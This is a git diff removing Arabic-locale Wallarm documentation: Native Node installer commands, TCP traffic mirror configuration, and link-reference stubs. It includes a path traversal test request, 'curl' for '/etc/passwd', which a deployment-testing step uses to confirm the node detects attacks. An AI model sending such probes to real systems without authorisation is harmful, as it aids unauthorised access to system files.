-=== "connector-server" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` -=== "tcp-capture" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file prepared before. - -The provided configuration file will be copied to the path: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -If needed, you can change the copied file after the installation is finished. To apply the changes, you will need to restart the Wallarm service with `sudo systemctl restart wallarm`. - -### 5. Finish the installation - -=== "connector-server" - After deploying the node, the next step is to apply the Wallarm code to your API management platform or service in order to route traffic to the deployed node. - - 1. Contact sales@wallarm.com to obtain the Wallarm code bundle for your connector. - 1. Follow the platform-specific instructions to apply the bundle on your API management platform: - - * [MuleSoft](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) -=== "tcp-capture" - [Proceed to the deployment testing](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution). - -## Verifying the node operation - -To verify the node is detecting traffic, you can check the logs: - -* The Native Node logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. -* [Standard logs](../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. - -For additional debugging, set the [`log.level`](all-in-one-conf.md#loglevel) parameter to `debug`. - -## Installer launch options - -* As soon as you have the all-in one script downloaded, you can get **help** on it with: - - === "x86_64 version" - ``` - sudo ./aio-native-0.12.0.x86_64.sh -- --help - ``` - === "ARM64 version" - ``` - sudo ./aio-native-0.12.0.aarch64.sh -- --help - ``` -* You can also run the installer in an **interactive** mode and choose the required mode in the 1st step: - - === "x86_64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh - ``` - === "ARM64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh - ``` -* You can use the node in API Discovery-only mode (available since version 0.12.0). In this mode, attacks - including those detected by the Node's built-in mechanisms and those requiring additional configuration (e.g., credential stuffing, API specification violation attempts, and malicious activity from denylisted and graylisted IPs) - are detected and blocked locally (if enabled) but not exported to Wallarm Cloud. Since there is no attack data in the Cloud, [Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md) does not work. Traffic from whitelisted IPs is allowed. - - Meanwhile, [API Discovery](../../api-discovery/overview.md) and [security vulnerability detection](../../about-wallarm/detecting-vulnerabilities.md) remain fully functional, detecting relevant security entities and uploading them to the Cloud for visualization. - - This mode is for those who want to review their API inventory and identify sensitive data first, and plan controlled attack data export accordingly. However, disabling attack export is rare, as Wallarm securely processes attack data and provides [sensitive attack data masking](../../user-guides/rules/sensitive-data-rule.md) if needed. - - To enable API Discovery-only mode: - - 1. Create or modify the `/etc/wallarm-override/env.list` file: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Add the following variable: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. Follow the [node installation procedure](#installation). - - With the API Discovery-only mode enabled, the `/opt/wallarm/var/log/wallarm/wcli-out.log` log returns the following message: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - -## Upgrade and reinstallation - -* To upgrade the node, follow the [instructions](../../updating-migrating/native-node/all-in-one.md). -* If there is a problem with the upgrade or reinstallation process: - - 1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Install the node as usual following the installation steps from above. diff --git a/docs/ar/installation/native-node/docker-image.md b/docs/ar/installation/native-node/docker-image.md deleted file mode 100644 index 1cdaccda50..0000000000 --- a/docs/ar/installation/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/ar/installation/native-node/helm-chart-conf.md b/docs/ar/installation/native-node/helm-chart-conf.md deleted file mode 100644 index 5511e678fc..0000000000 --- a/docs/ar/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/helm-chart-conf.md" \ No newline at end of file diff --git a/docs/ar/installation/native-node/helm-chart.md b/docs/ar/installation/native-node/helm-chart.md deleted file mode 100644 index 78c8fbfdf7..0000000000 --- a/docs/ar/installation/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/ar/installation/nginx-native-node-internals.md b/docs/ar/installation/nginx-native-node-internals.md deleted file mode 100644 index 8f2d3ea44a..0000000000 --- a/docs/ar/installation/nginx-native-node-internals.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/nginx-native-node-internals.md" \ No newline at end of file diff --git a/docs/ar/installation/nginx-plus.md b/docs/ar/installation/nginx-plus.md deleted file mode 100644 index 935f069479..0000000000 --- a/docs/ar/installation/nginx-plus.md +++ /dev/null @@ -1,3 +0,0 @@ -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/nginx-plus.md" \ No newline at end of file diff --git a/docs/ar/installation/nginx/all-in-one.md b/docs/ar/installation/nginx/all-in-one.md deleted file mode 100644 index aaef195b12..0000000000 --- a/docs/ar/installation/nginx/all-in-one.md +++ /dev/null @@ -1,32 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - ---8<-- "latest-ar/installation/nginx/all-in-one.md" \ No newline at end of file diff --git a/docs/ar/installation/nginx/dynamic-module-from-distr.md b/docs/ar/installation/nginx/dynamic-module-from-distr.md deleted file mode 100644 index 03eacb3bf7..0000000000 --- a/docs/ar/installation/nginx/dynamic-module-from-distr.md +++ /dev/null @@ -1,32 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cred-stuffing-docs]: ../../about-wallarm/credential-stuffing.md - ---8<-- "latest-ar/installation/nginx/dynamic-module-from-distr.md" \ No newline at end of file diff --git a/docs/ar/installation/nginx/dynamic-module.md b/docs/ar/installation/nginx/dynamic-module.md deleted file mode 100644 index 30db4eb973..0000000000 --- a/docs/ar/installation/nginx/dynamic-module.md +++ /dev/null @@ -1,35 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cred-stuffing-docs]: ../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/nginx/dynamic-module.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/ebpf/deployment.md b/docs/ar/installation/oob/ebpf/deployment.md deleted file mode 100644 index 4b43e14a2e..0000000000 --- a/docs/ar/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/ar/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 6582c16e37..0000000000 --- a/docs/ar/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/ebpf/selecting-packets.md b/docs/ar/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index b927329c7f..0000000000 --- a/docs/ar/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/overview.md b/docs/ar/installation/oob/overview.md deleted file mode 100644 index 82dea1256e..0000000000 --- a/docs/ar/installation/oob/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/oob/overview.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/tcp-traffic-mirror/configuration.md b/docs/ar/installation/oob/tcp-traffic-mirror/configuration.md deleted file mode 100644 index 050d98ef3d..0000000000 --- a/docs/ar/installation/oob/tcp-traffic-mirror/configuration.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/oob/tcp-traffic-mirror/configuration.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/tcp-traffic-mirror/deployment.md b/docs/ar/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index 7842e2c78b..0000000000 --- a/docs/ar/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1,290 +0,0 @@ -# Deploying the Node for TCP Traffic Mirror Analysis - -Wallarm provides an artifact for deploying its filtering node, specifically designed for TCP traffic mirror analysis. This guide explains how to deploy and configure the Wallarm filtering node in this form-factor. - -## Use cases - -Among all supported [out-of-band deployment options](../../supported-deployment-options.md#out-of-band), this solution is recommended for the following scenarios: - -* You prefer to capture TCP traffic mirrored at the network layer and require a security solution to analyze this specific traffic. -* NGINX or Envoy-based deployment artifacts are unavailable, too slow, or consume too many resources. In this case, implementing HTTP traffic mirror analysis can be resource-intensive. The TCP traffic mirror analysis runs independently from web servers, avoiding these issues. -* You require a security solution that also parses responses, enabling features like [vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) and [API discovery](../../../api-discovery/overview.md), which rely on response data. - -## How does it work - -This solution operates in out-of-band (OOB) mode, capturing mirrored TCP traffic directly from the network interface, independent of web servers like NGINX. The captured traffic is then parsed, reassembled, and analyzed for threats. - -It functions as a mirror target, seamlessly switching between multiple traffic sources. The solution supports traffic tagged with VLAN (802.1q), VXLAN, or SPAN. - -Additionally, the solution enables response mirror parsing, providing Wallarm features that rely on response data. These features include [vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md), [API discovery](../../../api-discovery/overview.md) and more. - -![!TCP traffic mirror scheme](../../../images/waf-installation/oob/tcp-mirror-analysis.png) - -## Requirements - -* Access to the account with the **Administrator** role in Wallarm Console for the [US Cloud](https://us1.my.wallarm.com/) or [EU Cloud](https://my.wallarm.com/). -* The machine intended for running the node must meet the following criteria: - - * Linux OS - * x86_64/ARM64 architecture - * Executing all commands as a superuser (e.g. `root`). - * Allowed outgoing connections to `https://meganode.wallarm.com` to download the Wallarm installer - * Allowed outgoing connections to `https://us1.api.wallarm.com` for working with US Wallarm Cloud or to `https://api.wallarm.com` for working with EU Wallarm Cloud - * Allowed outgoing connections to the IP addresses below for downloading updates to attack detection rules and [API specifications](../../../api-specification-enforcement/overview.md), as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted](../../../user-guides/ip-lists/overview.md) countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Traffic and response mirroring must be configured with both source and target set up, and the prepared instance chosen as a mirror target. Specific environment requirements must be met, such as allowing specific protocols for traffic mirroring configurations. -* Mirrored traffic is tagged with either VLAN (802.1q), VXLAN, or SPAN. - -## Step 1: Prepare Wallarm token - -To install node, you will need a token for registering the node in the Wallarm Cloud. To prepare a token: - -1. Open Wallarm Console → **Settings** → **API tokens** in the [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) or [EU Cloud](https://my.wallarm.com/settings/api-tokens). -1. Find or create API token with the `Node deployment/Deployment` usage type. -1. Copy this token. - -## Step 2: Download Wallarm installer - -Wallarm suggests installations for the following processors: - -* x86_64 -* ARM64 - -To download Wallarm installation script and make it executable, use the following commands: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.x86_64.sh - chmod +x aio-native-0.12.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.aarch64.sh - chmod +x aio-native-0.12.0.aarch64.sh - ``` - -## Step 3: Prepare the configuration file - -Create the `wallarm-node-conf.yaml` file on the instance. The solution requires proper configuration to identify the network interface and the traffic format (e.g., VLAN, VXLAN). The example content of the file: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan -``` - -In the [article](../../native-node/all-in-one-conf.md), you will find the list of more supported configuration parameters. - -### Setting the mode (required) - -It is required to specify the `tcp-capture` mode in the corresponding parameter to run the solution for the TCP traffic mirror analysis. - -### Choosing a network interface for listening - -To specify the network interface to capture traffic from: - -1. Check network interfaces available on the host: - - ``` - ip addr show - ``` - -1. Specify the network interface in the `filter` parameter. - - Note that the value should be the network interface and port separated by a colon (`:`). Examples of filters include `eth0:`, `eth0:80`, or `:80` (to intercept a specific port on all interfaces), e.g.: - - ```yaml - version: 3 - - mode: tcp-capture - - goreplay: - filter: 'eth0:' - ``` - -### Capturing VLAN - -If mirrored traffic is wrapped in VLAN, provide additional arguments: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VID of your VLAN, e.g.: - # - 42 -``` - -### Capturing VXLAN - -If mirrored traffic is wrapped in VXLAN (common in AWS), provide additional arguments: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - # Custom VXLAN UDP port, e.g.: - # - -input-raw-vxlan-port - # - 4789 - # Specific VNI (by default, all VNIs are captured), e.g.: - # - -input-raw-vxlan-vni - # - 1 -``` - -### Identifying the original client IP address - -By default, Wallarm reads the source IP address from the network packet's IP headers. However, proxies and load balancers can change this to their own IPs. - -To preserve the real client IP, these intermediaries often add an HTTP header (e.g., `X-Real-IP`, `X-Forwarded-For`). The `real_ip_header` parameter tells Wallarm which header to use to extract the original client IP, e.g.: - -```yaml -version: 3 - -mode: tcp-capture - -http_inspector: - real_ip_header: "X-Real-IP" -``` - -## Step 4: Run the Wallarm installer - -To install the Wallarm node for TCP traffic mirror analysis, run the following command: - -=== "x86_64 version" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "ARM64 version" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file prepared before. - -The provided configuration file will be copied to the path: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -If needed, you can change the copied file after the installation is finished. To apply the changes, you will need to restart the Wallarm service with `sudo systemctl restart wallarm`. - -## Step 5: Test the solution - -Send the test [Path Traversal](../../../attacks-vulns-list.md#path-traversal) attack to the mirror source address by replacing `` with the actual IP address or DNS name of the instance: - -``` -curl http:///etc/passwd -``` - -Since the Wallarm solution for TCP traffic mirror analysis operates out-of-band, it does not block attacks but only registers them. - -To check that the attack has been registered, proceed to Wallarm Console → **Events**: - -![!Attacks in the interface](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## Verifying the node operation - -* To check if there is traffic on the network interface you are trying to capture from, run the following command on your machine: - - ``` - sudo tcpdump -i - ``` -* To verify the node is detecting traffic, you can check the logs: - - * The Native Node logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. - * [Standard logs](../../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. - -For additional debugging, set the [`log.level`](../../native-node/all-in-one-conf.md#loglevel) parameter to `debug`. - -## Installer launch options - -* As soon as you have the all-in one script downloaded, you can get **help** on it with: - - === "x86_64 version" - ``` - sudo ./aio-native-0.12.0.x86_64.sh -- --help - ``` - === "ARM64 version" - ``` - sudo ./aio-native-0.12.0.aarch64.sh -- --help - ``` -* You can also run the installer in an **interactive** mode and choose the `tcp-capture` mode in the 1st step: - - === "x86_64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh - ``` - === "ARM64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh - ``` -* You can use the node in API Discovery-only mode (available since version 0.12.0). In this mode, attacks - including those detected by the Node's built-in mechanisms and those requiring additional configuration (e.g., credential stuffing, API specification violation attempts and brute force) - are detected and [logged](../../../admin-en/configure-logging.md) locally but not exported to Wallarm Cloud. Since there is no attack data in the Cloud, [Threat Replay Testing](../../../vulnerability-detection/threat-replay-testing/overview.md) does not work. - - Meanwhile, [API Discovery](../../../api-discovery/overview.md) and [security vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) remain fully functional, detecting relevant security entities and uploading them to the Cloud for visualization. - - This mode is for those who want to review their API inventory and identify sensitive data first, and plan controlled attack data export accordingly. However, disabling attack export is rare, as Wallarm securely processes attack data and provides [sensitive attack data masking](../../../user-guides/rules/sensitive-data-rule.md) if needed. - - To enable API Discovery-only mode: - - 1. Create or modify the `/etc/wallarm-override/env.list` file: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Add the following variable: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. Follow the [node installation procedure from the 1st step](#step-1-prepare-wallarm-token). - -## Upgrade and reinstallation - -* To upgrade the node, follow the [instructions](../../../updating-migrating/native-node/all-in-one.md). -* If there is a problem with the upgrade or reinstallation process: - - 1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Install the node as usual following the installation steps from above. - -## Limitations - -* Due to its out-of-band (OOB) operation, which analyzes traffic independently from actual flow, the solution has several inherent limitations: - - * It does not instantly block malicious requests. Wallarm only observes attacks and provides you with the [details in Wallarm Console](../../../user-guides/events/check-attack.md). - * [Rate limiting](../../../user-guides/rules/rate-limiting.md) is not supported as it is impossible to limit load on target servers. - * [Filtering by IP addresses](../../../user-guides/ip-lists/overview.md) is not supported. -* The solution analyzes only unencrypted HTTP traffic over raw TCP, not encrypted HTTPS traffic. -* The solution does not support parsing responses over HTTP keep-alive connections yet. diff --git a/docs/ar/installation/oob/web-server-mirroring/aws-ami.md b/docs/ar/installation/oob/web-server-mirroring/aws-ami.md deleted file mode 100644 index 037ddb43df..0000000000 --- a/docs/ar/installation/oob/web-server-mirroring/aws-ami.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force - ---8<-- "latest-ar/installation/oob/web-server-mirroring/aws-ami.md" \ No newline at end of file diff --git a/docs/ar/installation/oob/web-server-mirroring/docker-image.md b/docs/ar/installation/oob/web-server-mirroring/docker-image.md deleted file mode 100644 index 7a86157049..0000000000 --- a/docs/ar/installation/oob/web-server-mirroring/docker-image.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: 